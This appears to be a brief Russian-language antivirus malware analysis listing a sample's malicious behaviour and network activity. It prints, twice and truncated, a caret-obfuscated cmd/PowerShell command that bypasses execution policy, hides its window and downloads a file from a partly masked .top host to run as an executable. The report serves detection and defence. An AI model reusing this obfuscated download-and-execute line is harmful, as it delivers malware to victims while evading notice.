Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://my####shares.top/sharesexcels.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^oWerSH^El^l^.eX^E^ -E^XecuTi^O^NPoLI^c^y bY^P^aS^s^ ^-^nOpROfi^lE^ -^Wi^NdOW^S^tY^LE^ H^IdDEN (neW-o^Bj^ect ^Sy^st^e^m.NEt^.^WE^bc^li^EnT^)^.^Do^WN^L^o^A^d^fiLE^('http://my...
Сетевая активность
UDP
- DNS ASK my####shares.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^oWerSH^El^l^.eX^E^ -E^XecuTi^O^NPoLI^c^y bY^P^aS^s^ ^-^nOpROfi^lE^ -^Wi^NdOW^S^tY^LE^ H^IdDEN (neW-o^Bj^ect ^Sy^st^e^m.NEt^.^WE^bc^li^EnT^)^.^Do^WN^L^o^A^d^fiLE^('http://my...' (со скрытым окном)
